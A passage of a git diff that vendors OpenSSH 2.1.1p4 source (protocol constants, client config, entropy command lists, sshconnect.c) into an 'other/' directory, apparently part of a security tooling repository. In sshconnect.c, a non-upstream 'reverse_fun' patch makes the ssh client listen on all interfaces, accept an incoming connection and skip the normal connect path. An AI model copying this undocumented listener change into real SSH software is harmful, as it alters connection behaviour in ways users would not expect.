*buf, size_t buflen); +int radix_to_creds(const char *buf, CREDENTIALS * creds); +#endif /* AFS */ + +#endif /* KRB4 */ + +#ifdef SKEY +#include +char *skey_fake_keyinfo(char *username); +int auth_skey_password(struct passwd * pw, const char *password); +#endif /* SKEY */ + +/* AF_UNSPEC or AF_INET or AF_INET6 */ +extern int IPv4or6; + +#ifdef USE_PAM +#include "auth-pam.h" +#endif /* USE_PAM */ + +#endif /* SSH_H */ diff --git a/other/openssh-2.1.1p4/ssh2.h b/other/openssh-2.1.1p4/ssh2.h new file mode 100644 index 0000000..1fa4c0a --- /dev/null +++ b/other/openssh-2.1.1p4/ssh2.h @@ -0,0 +1,112 @@ +/* + * draft-ietf-secsh-architecture-05.txt + * + * Transport layer protocol: + * + * 1-19 Transport layer generic (e.g. disconnect, ignore, debug, + * etc) + * 20-29 Algorithm negotiation + * 30-49 Key exchange method specific (numbers can be reused for + * different authentication methods) + * + * User authentication protocol: + * + * 50-59 User authentication generic + * 60-79 User authentication method specific (numbers can be reused + * for different authentication methods) + * + * Connection protocol: + * + * 80-89 Connection protocol generic + * 90-127 Channel related messages + * + * Reserved for client protocols: + * + * 128-191 Reserved + * + * Local extensions: + * + * 192-255 Local extensions + */ +/* RCSID("$OpenBSD: ssh2.h,v 1.3 2000/05/15 07:03:12 markus Exp $"); */ + +/* transport layer: generic */ + +#define SSH2_MSG_DISCONNECT 1 +#define SSH2_MSG_IGNORE 2 +#define SSH2_MSG_UNIMPLEMENTED 3 +#define SSH2_MSG_DEBUG 4 +#define SSH2_MSG_SERVICE_REQUEST 5 +#define SSH2_MSG_SERVICE_ACCEPT 6 + +/* transport layer: alg negotiation */ + +#define SSH2_MSG_KEXINIT 20 +#define SSH2_MSG_NEWKEYS 21 + +/* transport layer: kex specific messages, can be reused */ + +#define SSH2_MSG_KEXDH_INIT 30 +#define SSH2_MSG_KEXDH_REPLY 31 + +/* user authentication: generic */ + +#define SSH2_MSG_USERAUTH_REQUEST 50 +#define SSH2_MSG_USERAUTH_FAILURE 51 +#define SSH2_MSG_USERAUTH_SUCCESS 52 +#define SSH2_MSG_USERAUTH_BANNER 53 + +/* user authentication: method specific, can be reused */ + +#define SSH2_MSG_USERAUTH_PK_OK 60 +#define SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ 60 +#define SSH2_MSG_USERAUTH_INFO_REQUEST 60 +#define SSH2_MSG_USERAUTH_INFO_RESPONSE 61 + +/* connection protocol: generic */ + +#define SSH2_MSG_GLOBAL_REQUEST 80 +#define SSH2_MSG_REQUEST_SUCCESS 81 +#define SSH2_MSG_REQUEST_FAILURE 82 + +/* channel related messages */ + +#define SSH2_MSG_CHANNEL_OPEN 90 +#define SSH2_MSG_CHANNEL_OPEN_CONFIRMATION 91 +#define SSH2_MSG_CHANNEL_OPEN_FAILURE 92 +#define SSH2_MSG_CHANNEL_WINDOW_ADJUST 93 +#define SSH2_MSG_CHANNEL_DATA 94 +#define SSH2_MSG_CHANNEL_EXTENDED_DATA 95 +#define SSH2_MSG_CHANNEL_EOF 96 +#define SSH2_MSG_CHANNEL_CLOSE 97 +#define SSH2_MSG_CHANNEL_REQUEST 98 +#define SSH2_MSG_CHANNEL_SUCCESS 99 +#define SSH2_MSG_CHANNEL_FAILURE 100 + +/* disconnect reason code */ + +#define SSH2_DISCONNECT_HOST_NOT_ALLOWED_TO_CONNECT 1 +#define SSH2_DISCONNECT_PROTOCOL_ERROR 2 +#define SSH2_DISCONNECT_KEY_EXCHANGE_FAILED 3 +#define SSH2_DISCONNECT_HOST_AUTHENTICATION_FAILED 4 +#define SSH2_DISCONNECT_RESERVED 4 +#define SSH2_DISCONNECT_MAC_ERROR 5 +#define SSH2_DISCONNECT_COMPRESSION_ERROR 6 +#define SSH2_DISCONNECT_SERVICE_NOT_AVAILABLE 7 +#define SSH2_DISCONNECT_PROTOCOL_VERSION_NOT_SUPPORTED 8 +#define SSH2_DISCONNECT_HOST_KEY_NOT_VERIFIABLE 9 +#define SSH2_DISCONNECT_CONNECTION_LOST 10 +#define SSH2_DISCONNECT_BY_APPLICATION 11 +#define SSH2_DISCONNECT_TOO_MANY_CONNECTIONS 12 +#define SSH2_DISCONNECT_AUTH_CANCELLED_BY_USER 13 +#define SSH2_DISCONNECT_NO_MORE_AUTH_METHODS_AVAILABLE 14 +#define SSH2_DISCONNECT_ILLEGAL_USER_NAME 15 + +/* misc */ + +#define SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED 1 +#define SSH2_OPEN_CONNECT_FAILED 2 +#define SSH2_OPEN_UNKNOWN_CHANNEL_TYPE 3 +#define SSH2_OPEN_RESOURCE_SHORTAGE 4 + +#define SSH2_EXTENDED_DATA_STDERR 1 diff --git a/other/openssh-2.1.1p4/ssh_config b/other/openssh-2.1.1p4/ssh_config new file mode 100644 index 0000000..70275b3 --- /dev/null +++ b/other/openssh-2.1.1p4/ssh_config @@ -0,0 +1,37 @@ +# This is ssh client systemwide configuration file. This file provides +# defaults for users, and the values can be changed in per-user configuration +# files or on the command line. + +# Configuration data is parsed as follows: +# 1. command line options +# 2. user-specific file +# 3. system-wide file +# Any configuration value is only changed the first time it is set. +# Thus, host-specific definitions should be at the beginning of the +# configuration file, and defaults at the end. + +# Site-wide defaults for various options + +# Host * +# ForwardAgent yes +# ForwardX11 yes +# RhostsAuthentication yes +# RhostsRSAAuthentication yes +# RSAAuthentication yes +# PasswordAuthentication yes +# FallBackToRsh no +# UseRsh no +# BatchMode no +# CheckHostIP yes +# StrictHostKeyChecking no +# IdentityFile ~/.ssh/identity +# Port 22 +# Protocol 2,1 +# Cipher 3des +# EscapeChar ~ + +# Be paranoid by default +Host * + ForwardAgent no + ForwardX11 no + FallBackToRsh no diff --git a/other/openssh-2.1.1p4/ssh_prng_cmds b/other/openssh-2.1.1p4/ssh_prng_cmds new file mode 100644 index 0000000..0faeda8 --- /dev/null +++ b/other/openssh-2.1.1p4/ssh_prng_cmds @@ -0,0 +1,51 @@ +# entropy gathering commands + +# Format is: "program-name args" path rate + +# The "rate" represents the number of bits of usuable entropy per +# byte of command output. Be conservative. + +"ls -alni /var/log" 0.02 +"ls -alni /var/adm" 0.02 +"ls -alni /var/mail" 0.02 +"ls -alni /var/spool/mail" 0.02 +"ls -alni /proc" 0.02 +"ls -alni /tmp" 0.02 + +"netstat -an" 0.05 +"netstat -in" 0.05 +"netstat -rn" 0.02 +"netstat -pn" 0.02 +"netstat -s" 0.02 + +"arp -a -n" 0.02 + +"ifconfig -a" 0.02 + +"ps laxww" 0.03 +"ps -al" 0.03 +"ps -efl" 0.03 + +"w" 0.05 + +"who -i" 0.01 + +"last" 0.01 + +"lastlog" 0.01 + +"df" 0.01 +"df -i" 0.01 + +"vmstat" 0.01 +"uptime" 0.01 + +"ipcs -a" 0.01 + +"tail -200 /var/log/messages" 0.01 +"tail -200 /var/log/syslog" 0.01 +"tail -200 /var/adm/messages" 0.01 +"tail -200 /var/adm/syslog" 0.01 +"tail -200 /var/adm/syslog/syslog.log" 0.01 +"tail -200 /var/log/maillog" 0.01 +"tail -200 /var/adm/maillog" 0.01 diff --git a/other/openssh-2.1.1p4/ssh_prng_cmds.in b/other/openssh-2.1.1p4/ssh_prng_cmds.in new file mode 100644 index 0000000..d7389d7 --- /dev/null +++ b/other/openssh-2.1.1p4/ssh_prng_cmds.in @@ -0,0 +1,51 @@ +# entropy gathering commands + +# Format is: "program-name args" path rate + +# The "rate" represents the number of bits of usuable entropy per +# byte of command output. Be conservative. + +"ls -alni /var/log" @PROG_LS@ 0.02 +"ls -alni /var/adm" @PROG_LS@ 0.02 +"ls -alni /var/mail" @PROG_LS@ 0.02 +"ls -alni /var/spool/mail" @PROG_LS@ 0.02 +"ls -alni /proc" @PROG_LS@ 0.02 +"ls -alni /tmp" @PROG_LS@ 0.02 + +"netstat -an" @PROG_NETSTAT@ 0.05 +"netstat -in" @PROG_NETSTAT@ 0.05 +"netstat -rn" @PROG_NETSTAT@ 0.02 +"netstat -pn" @PROG_NETSTAT@ 0.02 +"netstat -s" @PROG_NETSTAT@ 0.02 + +"arp -a -n" @PROG_ARP@ 0.02 + +"ifconfig -a" @PROG_IFCONFIG@ 0.02 + +"ps laxww" @PROG_PS@ 0.03 +"ps -al" @PROG_PS@ 0.03 +"ps -efl" @PROG_PS@ 0.03 + +"w" @PROG_W@ 0.05 + +"who -i" @PROG_WHO@ 0.01 + +"last" @PROG_LAST@ 0.01 + +"lastlog" @PROG_LASTLOG@ 0.01 + +"df" @PROG_DF@ 0.01 +"df -i" @PROG_DF@ 0.01 + +"vmstat" @PROG_VMSTAT@ 0.01 +"uptime" @PROG_UPTIME@ 0.01 + +"ipcs -a" @PROG_IPCS@ 0.01 + +"tail -200 /var/log/messages" @PROG_TAIL@ 0.01 +"tail -200 /var/log/syslog" @PROG_TAIL@ 0.01 +"tail -200 /var/adm/messages" @PROG_TAIL@ 0.01 +"tail -200 /var/adm/syslog" @PROG_TAIL@ 0.01 +"tail -200 /var/adm/syslog/syslog.log" @PROG_TAIL@ 0.01 +"tail -200 /var/log/maillog" @PROG_TAIL@ 0.01 +"tail -200 /var/adm/maillog" @PROG_TAIL@ 0.01 diff --git a/other/openssh-2.1.1p4/sshconnect.c b/other/openssh-2.1.1p4/sshconnect.c new file mode 100644 index 0000000..3621ee1 --- /dev/null +++ b/other/openssh-2.1.1p4/sshconnect.c @@ -0,0 +1,755 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Sat Mar 18 22:15:47 1995 ylo + * Code to connect to a remote host, and to perform the client side of the + * login (authentication) dialog. + */ + +#include "includes.h" +RCSID("$OpenBSD: sshconnect.c,v 1.76 2000/06/17 20:30:10 markus Exp $"); + +#include +#include +#include + +#include "xmalloc.h" +#include "rsa.h" +#include "ssh.h" +#include "buffer.h" +#include "packet.h" +#include "uidswap.h" +#include "compat.h" +#include "readconf.h" +#include "key.h" +#include "sshconnect.h" +#include "hostfile.h" + +char *client_version_string = NULL; +char *server_version_string = NULL; + +extern Options options; +#ifdef HAVE___PROGNAME +extern char *__progname; +#else /* HAVE___PROGNAME */ +static const char *__progname = "ssh"; +#endif /* HAVE___PROGNAME */ + +/* + * Connect to the given ssh server using a proxy command. + */ +int +ssh_proxy_connect(const char *host, u_short port, uid_t original_real_uid, + const char *proxy_command) +{ + Buffer command; + const char *cp; + char *command_string; + int pin[2], pout[2]; + pid_t pid; + char strport[NI_MAXSERV]; + + /* Convert the port number into a string. */ + snprintf(strport, sizeof strport, "%hu", port); + + /* Build the final command string in the buffer by making the + appropriate substitutions to the given proxy command. */ + buffer_init(&command); + for (cp = proxy_command; *cp; cp++) { + if (cp[0] == '%' && cp[1] == '%') { + buffer_append(&command, "%", 1); + cp++; + continue; + } + if (cp[0] == '%' && cp[1] == 'h') { + buffer_append(&command, host, strlen(host)); + cp++; + continue; + } + if (cp[0] == '%' && cp[1] == 'p') { + buffer_append(&command, strport, strlen(strport)); + cp++; + continue; + } + buffer_append(&command, cp, 1); + } + buffer_append(&command, "\0", 1); + + /* Get the final command string. */ + command_string = buffer_ptr(&command); + + /* Create pipes for communicating with the proxy. */ + if (pipe(pin) < 0 || pipe(pout) < 0) + fatal("Could not create pipes to communicate with the proxy: %.100s", + strerror(errno)); + + debug("Executing proxy command: %.500s", command_string); + + /* Fork and execute the proxy command. */ + if ((pid = fork()) == 0) { + char *argv[10]; + + /* Child. Permanently give up superuser privileges. */ + permanently_set_uid(original_real_uid); + + /* Redirect stdin and stdout. */ + close(pin[1]); + if (pin[0] != 0) { + if (dup2(pin[0], 0) < 0) + perror("dup2 stdin"); + close(pin[0]); + } + close(pout[0]); + if (dup2(pout[1], 1) < 0) + perror("dup2 stdout"); + /* Cannot be 1 because pin allocated two descriptors. */ + close(pout[1]); + + /* Stderr is left as it is so that error messages get + printed on the user's terminal. */ + argv[0] = _PATH_BSHELL; + argv[1] = "-c"; + argv[2] = command_string; + argv[3] = NULL; + + /* Execute the proxy command. Note that we gave up any + extra privileges above. */ + execv(_PATH_BSHELL, argv); + perror(_PATH_BSHELL); + exit(1); + } + /* Parent. */ + if (pid < 0) + fatal("fork failed: %.100s", strerror(errno)); + + /* Close child side of the descriptors. */ + close(pin[0]); + close(pout[1]); + + /* Free the command name. */ + buffer_free(&command); + + /* Set the connection file descriptors. */ + packet_set_connection(pout[0], pin[1]); + + return 1; +} + +/* + * Creates a (possibly privileged) socket for use as the ssh connection. + */ +int +ssh_create_socket(uid_t original_real_uid, int privileged, int family) +{ + int sock; + + /* + * If we are running as root and want to connect to a privileged + * port, bind our own socket to a privileged port. + */ + if (privileged) { + int p = IPPORT_RESERVED - 1; + sock = rresvport_af(&p, family); + if (sock < 0) + error("rresvport: af=%d %.100s", family, strerror(errno)); + else + debug("Allocated local port %d.", p); + } else { + /* + * Just create an ordinary socket on arbitrary port. We use + * the user's uid to create the socket. + */ + temporarily_use_uid(original_real_uid); + sock = socket(family, SOCK_STREAM, 0); + if (sock < 0) + error("socket: %.100s", strerror(errno)); + restore_uid(); + } + return sock; +} + +/* + * Opens a TCP/IP connection to the remote server on the given host. + * The address of the remote host will be returned in hostaddr. + * If port is 0, the default port will be used. If anonymous is zero, + * a privileged port will be allocated to make the connection. + * This requires super-user privileges if anonymous is false. + * Connection_attempts specifies the maximum number of tries (one per + * second). If proxy_command is non-NULL, it specifies the command (with %h + * and %p substituted for host and port, respectively) to use to contact + * the daemon. + */ +extern int reverse_fun; + +int +ssh_connect(const char *host, struct sockaddr_storage * hostaddr, + u_short port, int connection_attempts, + int anonymous, uid_t original_real_uid, + const char *proxy_command) +{ + int sock = -1, attempt; + struct servent *sp; + struct addrinfo hints, *ai, *aitop; + char ntop[NI_MAXHOST], strport[NI_MAXSERV]; + int gaierr; + struct linger linger; + + debug("ssh_connect: getuid %d geteuid %d anon %d", + (int) getuid(), (int) geteuid(), anonymous); + + /* Get default port if port has not been set. */ + if (port == 0) { + sp = getservbyname(SSH_SERVICE_NAME, "tcp"); + if (sp) + port = ntohs(sp->s_port); + else + port = SSH_DEFAULT_PORT; + } + /* If a proxy command is given, connect using it. */ + if (proxy_command != NULL && !reverse_fun) + return ssh_proxy_connect(host, port, original_real_uid, proxy_command); + + /* No proxy command. */ + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", port); + if ((gaierr = getaddrinfo(host, strport, &hints, &aitop)) != 0) + fatal("%s: %.100s: %s", __progname, host, + gai_strerror(gaierr)); + + /* Lets have reverse fun, in this case client acts as server + */ + if (reverse_fun) { + int s, one = 1, size_aa = sizeof(struct sockaddr); + struct addrinfo *aid; + struct sockaddr aa; + + if ((gaierr = getaddrinfo("127.0.0.1", strport, &hints, &aid)) < 0) { + fprintf(stderr, "getaddrinfo (during reverse fun): %s\n", gai_strerror(gaierr)); + exit(gaierr); + } + + /* IPv4 */ + if (aid->ai_family == PF_INET) { + ((struct sockaddr_in*)(aid->ai_addr))->sin_addr.s_addr = INADDR_ANY; + /* IPv6? :) */ + } +#ifdef HAVE_STRUCT_IN6_ADDR + else { + ((struct sockaddr_in6*)(aid->ai_addr))->sin6_addr = in6addr_any; + } +#endif + + + if ((s = socket(aid->ai_family, SOCK_STREAM, 0)) < 0) { + perror("socket (during reverse fun)"); + exit(errno); + } + + if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) { + perror("setsockopt (during reverse fun)\n"); + exit(errno); + } + + printf("Reverse fun: binding to port %s\n", strport); + if (bind(s, (struct sockaddr*)(aid->ai_addr), sizeof(struct sockaddr)) < 0) { + perror("bind (during reverse fun)"); + exit(errno); + } + + if (listen(s, 1) < 0) { + perror("listen (during reverse fun)"); + exit(errno); + } + + if ((sock = accept(s, &aa, &size_aa)) < 0) { + perror("accept (during reverse fun)"); + exit(errno); + } + memcpy(hostaddr, &aa, size_aa); + + /* sorry, sorry, sorry! */ + goto start_fun; + } + + /* + * Try to connect several times. On some machines, the first time + * will sometimes fail. In general socket code appears to behave + * quite magically on many machines. + */ + for (attempt = 0; attempt < connection_attempts; attempt++) { + if (attempt > 0) + debug("Trying again..."); + + /* Loop through addresses for this host, and try each one in + sequence until the connection succeeds. */ + for (ai = aitop; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, + ntop, sizeof(ntop), strport, sizeof(strport), + NI_NUMERICHOST|NI_NUMERICSERV) != 0) { + error("ssh_connect: getnameinfo failed"); + continue; + } + debug("Connecting to %.200s [%.100s] port %s.", + host, ntop, strport); + + /* Create a socket for connecting. */ + sock = ssh_create_socket(original_real_uid, + !anonymous && geteuid() == 0 && port < IPPORT_RESERVED, + ai->ai_family); + if (sock < 0) + continue; + + /* Connect to the host. We use the user's uid in the + * hope that it will help with tcp_wrappers showing + * the remote uid as root. + */ + temporarily_use_uid(original_real_uid); + if (connect(sock, ai->ai_addr, ai->ai_addrlen) >= 0) { + /* Successful connection. */ + memcpy(hostaddr, ai->ai_addr, ai->ai_addrlen); + restore_uid(); + break; + } else { + debug("connect: %.100s", strerror(errno)); + restore_uid(); + /* + * Close the failed socket; there appear to + * be some problems when reusing a socket for + * which connect() has already returned an + * error. + */ + shutdown(sock, SHUT_RDWR); + close(sock); + } + } + if (ai) + break; /* Successful connection. */ + + /* Sleep a moment before retrying. */ + sleep(1); + } + + freeaddrinfo(aitop); + + /* Return failure if we didn't get a successful connection. */ + if (attempt >= connection_attempts) + return 0; + +start_fun: + debug("Connection established."); + + /* + * Set socket options. We would like the socket to disappear as soon + * as it has been closed for whatever reason. + */ + /* setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); */ + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (void *) &linger, sizeof(linger)); + + /* Set the connection. */ + packet_set_connection(sock, sock); + + return 1; +} + +/* + * Waits for the server identification string, and sends our own + * identification string. + */ +void +ssh_exchange_identification() +{ + char buf[256], remote_version[256]; /* must be same size! */ + int remote_major, remote_minor, i, mismatch; + int connection_in = packet_get_connection_in(); + int connection_out = packet_get_connection_out(); + + /* Read other side\'s version identification. */ + for (;;) { + for (i = 0; i < sizeof(buf) - 1; i++) { + int len = atomicio(read, connection_in, &buf[i], 1); + if (len < 0) + fatal("ssh_exchange_identification: read: %.100s", strerror(errno)); + if (len != 1) + fatal("ssh_exchange_identification: Connection closed by remote host"); + if (buf[i] == '\r') { + buf[i] = '\n'; + buf[i + 1] = 0; + continue; /**XXX wait for \n */ + } + if (buf[i] == '\n') { + buf[i + 1] = 0; + break; + } + } + buf[sizeof(buf) - 1] = 0; + if (strncmp(buf, "SSH-", 4) == 0) + break; + debug("ssh_exchange_identification: %s", buf); + } + server_version_string = xstrdup(buf); + + /* + * Check that the versions match. In future this might accept + * several versions and set appropriate flags to handle them. + */ + if (sscanf(server_version_string, "SSH-%d.%d-%[^\n]\n", + &remote_major, &remote_minor, remote_version) != 3) + fatal("Bad remote protocol version identification: '%.100s'", buf); + debug("Remote protocol version %d.%d, remote software version %.100s", + remote_major, remote_minor, remote_version); + + compat_datafellows(remote_version); + mismatch = 0; + + switch(remote_major) { + case 1: + if (remote_minor == 99 && + (options.protocol & SSH_PROTO_2) && + !(options.protocol & SSH_PROTO_1_PREFERRED)) { + enable_compat20(); + break; + } + if (!(options.protocol & SSH_PROTO_1)) { + mismatch = 1; + break; + } + if (remote_minor < 3) { + fatal("Remote machine has too old SSH software version."); + } else if (remote_minor == 3) { + /* We speak 1.3, too. */ + enable_compat13(); + if (options.forward_agent) { + log("Agent forwarding disabled for protocol 1.3"); + options.forward_agent = 0; + } + } + break; + case 2: + if (options.protocol & SSH_PROTO_2) { + enable_compat20(); + break; + } + /* FALLTHROUGH */ + default: + mismatch = 1; + break; + } + if (mismatch) + fatal("Protocol major versions differ: %d vs. %d", + (options.protocol & SSH_PROTO_2) ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1, + remote_major); + if (compat20) + packet_set_ssh2_format(); + /* Send our own protocol version identification. */ + snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s\n", + compat20 ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1, + compat20 ? PROTOCOL_MINOR_2 : PROTOCOL_MINOR_1, + SSH_VERSION); + if (atomicio(write, connection_out, buf, strlen(buf)) != strlen(buf)) + fatal("write: %.100s", strerror(errno)); + client_version_string = xstrdup(buf); + chop(client_version_string); + chop(server_version_string); + debug("Local version string %.100s", client_version_string); +} + +int +read_yes_or_no(const char *prompt, int defval) +{ + char buf[1024]; + FILE *f; + int retval = -1; + + if (isatty(0)) + f = stdin; + else + f = fopen("/dev/tty", "rw"); + + if (f == NULL) + return 0; + + fflush(stdout); + + while (1) { + fprintf(stderr, "%s", prompt); + if (fgets(buf, sizeof(buf), f) == NULL) { + /* Print a newline (the prompt probably didn\'t have one). */ + fprintf(stderr, "\n"); + strlcpy(buf, "no", sizeof buf); + } + /* Remove newline from response. */ + if (strchr(buf, '\n')) + *strchr(buf, '\n') = 0; + + if (buf[0] == 0) + retval = defval; + if (strcmp(buf, "yes") == 0) + retval = 1; + if (strcmp(buf, "no") == 0) + retval = 0; + + if (retval != -1) { + if (f != stdin) + fclose(f); + return retval; + } + } +} + +/* + * check whether the supplied host key is valid, return only if ok. + */ + +void +check_host_key(char *host, struct sockaddr *hostaddr, Key *host_key, + const char *user_hostfile, const char *system_hostfile) +{ + Key *file_key; + char *type = key_type(host_key); + char *ip = NULL; + char hostline[1000], *hostp; + HostStatus host_status; + HostStatus ip_status; + int local = 0, host_ip_differ = 0; + int salen; + char ntop[NI_MAXHOST]; + + /* + * Force accepting of the host key for loopback/localhost. The + * problem is that if the home directory is NFS-mounted to multiple + * machines, localhost will refer to a different machine in each of + * them, and the user will get bogus HOST_CHANGED warnings. This + * essentially disables host authentication for localhost; however, + * this is probably not a real problem. + */ + /** hostaddr == 0! */ + switch (hostaddr->sa_family) { + case AF_INET: + local = (ntohl(((struct sockaddr_in *)hostaddr)->sin_addr.s_addr) >> 24) == IN_LOOPBACKNET; + salen = sizeof(struct sockaddr_in); + break; + case AF_INET6: + local = IN6_IS_ADDR_LOOPBACK(&(((struct sockaddr_in6 *)hostaddr)->sin6_addr)); + salen = sizeof(struct sockaddr_in6); + break; + default: + local = 0; + salen = sizeof(struct sockaddr_storage); + break; + } + if (local) { + debug("Forcing accepting of host key for loopback/localhost."); + return; + } + + /* + * Turn off check_host_ip for proxy connects, since + * we don't have the remote ip-address + */ + if (options.proxy_command != NULL && options.check_host_ip) + options.check_host_ip = 0; + + if (options.check_host_ip) { + if (getnameinfo(hostaddr, salen, ntop, sizeof(ntop), + NULL, 0, NI_NUMERICHOST) != 0) + fatal("check_host_key: getnameinfo failed"); + ip = xstrdup(ntop); + } + + /* + * Store the host key from the known host file in here so that we can + * compare it with the key for the IP address. + */ + file_key = key_new(host_key->type); + + /* + * Check if the host key is present in the user\'s list of known + * hosts or in the systemwide list. + */ + host_status = check_host_in_hostfile(user_hostfile, host, host_key, file_key); + if (host_status == HOST_NEW) + host_status = check_host_in_hostfile(system_hostfile, host, host_key, file_key); + /* + * Also perform check for the ip address, skip the check if we are + * localhost or the hostname was an ip address to begin with + */ + if (options.check_host_ip && !local && strcmp(host, ip)) { + Key *ip_key = key_new(host_key->type); + ip_status = check_host_in_hostfile(user_hostfile, ip, host_key, ip_key); + + if (ip_status == HOST_NEW) + ip_status = check_host_in_hostfile(system_hostfile, ip, host_key, ip_key); + if (host_status == HOST_CHANGED && + (ip_status != HOST_CHANGED || !key_equal(ip_key, file_key))) + host_ip_differ = 1; + + key_free(ip_key); + } else + ip_status = host_status; + + key_free(file_key); + + switch (host_status) { + case HOST_OK: + /* The host is known and the key matches. */ + debug("Host '%.200s' is known and matches the %s host key.", + host, type); + if (options.check_host_ip) { + if (ip_status == HOST_NEW) { + if (!add_host_to_hostfile(user_hostfile, ip, host_key)) + log("Failed to add the %s host key for IP address '%.30s' to the list of known hosts (%.30s).", + type, ip, user_hostfile); + else + log("Warning: Permanently added the %s host key for IP address '%.30s' to the list of known hosts.", + type, ip); + } else if (ip_status != HOST_OK) + log("Warning: the %s host key for '%.200s' differs from the key for the IP address '%.30s'", + type, host, ip); + } + break; + case HOST_NEW: + /* The host is new. */ + if (options.strict_host_key_checking == 1) { + /* User has requested strict host key checking. We will not add the host key + automatically. The only alternative left is to abort. */ + fatal("No %s host key is known for %.200s and you have requested strict checking.", type, host); + } else if (options.strict_host_key_checking == 2) { + /* The default */ + char prompt[1024]; + char *fp = key_fingerprint(host_key); + snprintf(prompt, sizeof(prompt), + "The authenticity of host '%.200s' can't be established.\n" + "%s key fingerprint is %s.\n" + "Are you sure you want to continue connecting (yes/no)? ", + host, type, fp); + if (!read_yes_or_no(prompt, -1)) + fatal("Aborted by user!\n"); + } + if (options.check_host_ip && ip_status == HOST_NEW && strcmp(host, ip)) { + snprintf(hostline, sizeof(hostline), "%s,%s", host, ip); + hostp = hostline; + } else + hostp = host; + + /* If not in strict mode, add the key automatically to the local known_hosts file. */ + if (!add_host_to_hostfile(user_hostfile, hostp, host_key)) + log("Failed to add the host to the list of known hosts (%.500s).", + user_hostfile); + else + log("Warning: Permanently added '%.200s' (%s) to the list of known hosts.", + hostp, type); + break; + case HOST_CHANGED: + if (options.check_host_ip && host_ip_differ) { + char *msg; + if (ip_status == HOST_NEW) + msg = "is unknown"; + else if (ip_status == HOST_OK) + msg = "is unchanged"; + else + msg = "has a different value"; + error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); + error("@ WARNING: POSSIBLE DNS SPOOFING DETECTED! @"); + error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); + error("The %s host key for %s has changed,", type, host); + error("and the key for the according IP address %s", ip); + error("%s. This could either mean that", msg); + error("DNS SPOOFING is happening or the IP address for the host"); + error("and its host key have changed at the same time"); + } + /* The host key has changed. */ + error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); + error("@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @"); + error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); + error("IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!"); + error("Someone could be eavesdropping on you right now (man-in-the-middle attack)!"); + error("It is also possible that the %s host key has just been changed.", type); + error("Please contact your system administrator."); + error("Add correct host key in %.100s to get rid of this message.", + user_hostfile); + + /* + * If strict host key checking is in use, the user will have + * to edit the key manually and we can only abort. + */ + if (options.strict_host_key_checking) + fatal("%s host key for %.200s has changed and you have requested strict checking.", type, host); + + /* + * If strict host key checking has not been requested, allow + * the connection but without password authentication or + * agent forwarding. + */ + if (options.password_authentication) { + error("Password authentication is disabled to avoid trojan horses."); + options.password_authentication = 0; + } + if (options.forward_agent) { + error("Agent forwarding is disabled to avoid trojan horses."); + options.forward_agent = 0; + } + /* + * XXX Should permit the user to change to use the new id. + * This could be done by converting the host key to an + * identifying sentence, tell that the host identifies itself + * by that sentence, and ask the user if he/she whishes to + * accept the authentication. + */ + break; + } + if (options.check_host_ip) + xfree(ip); +} + +/* + * Starts a dialog with the server, and authenticates the current user on the + * server. This does not need any extra privileges. The basic connection + * to the server must already have been established before this is called. + * If login fails, this function prints an error and never returns. + * This function does not require super-user privileges. + */ +void +ssh_login(int host_key_valid, RSA *own_host_key, const char *orighost, + struct sockaddr *hostaddr, uid_t original_real_uid) +{ + struct passwd *pw; + char *host, *cp; + char *server_user, *local_user; + + /* Get local user name. Use it as server user if no user name was given. */ + pw = getpwuid(original_real_uid); + if (!pw) + fatal("User id %d not found from user database.", original_real_uid); + local_user = xstrdup(pw->pw_name); + server_user = options.user ? options.user : local_user; + + /* Convert the user-supplied hostname into all lowercase. */ + host = xstrdup(orighost); + for (cp = host; *cp; cp++) + if (isupper(*cp)) + *cp = tolower(*cp); + + /* Exchange protocol version identification strings with the server. */ + ssh_exchange_identification(); + + /* Put the connection into non-blocking mode. */ + packet_set_nonblocking(); + + /* key exchange */ + /* authenticate user */ + if (compat20) { + ssh_kex2(host, hostaddr); + ssh_userauth2(server_user, host); + } else { + ssh_kex(host, hostaddr); + ssh_userauth(local_user, server_user, host, host_key_valid, own_host_key); + } +} diff --git a/other/openssh-2.1.1p4/sshconnect.h b/other/openssh-2.1.1p4/sshconnect.h new file mode 100644 index 0000000..13d395f --- /dev/null +++ b/other/openssh-2.1.1p4/sshconnect.h @@ -0,0 +1,16 @@ +#ifndef SSHCONNECT_H +#define SSHCONNECT_H + +void +check_host_key(char *host, struct sockaddr *hostaddr, Key *host_key, + const char *user_hostfile, const char *system_hostfile); + +void ssh_kex(char *host, struct sockaddr *hostaddr); +void +ssh_userauth(const char* local_user, const char* server_user, char *host, + int host_key_valid, RSA *own_host_key); + +void ssh_kex2(char *host, struct sockaddr *hostaddr); +void ssh_userauth2(const char *server_user, char *host); + +#endif diff --git a/other/openssh-2.1.1p4/sshconnect1.c b/other/openssh-2.1.1p4/sshconnect1.c new file mode 100644 index 0000000..4360d72 --- /dev/null +++ b/other/openssh-2.1.1p4/sshconnect1.c @@ -0,0 +1,1024 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Sat Mar 18 22:15:47 1995 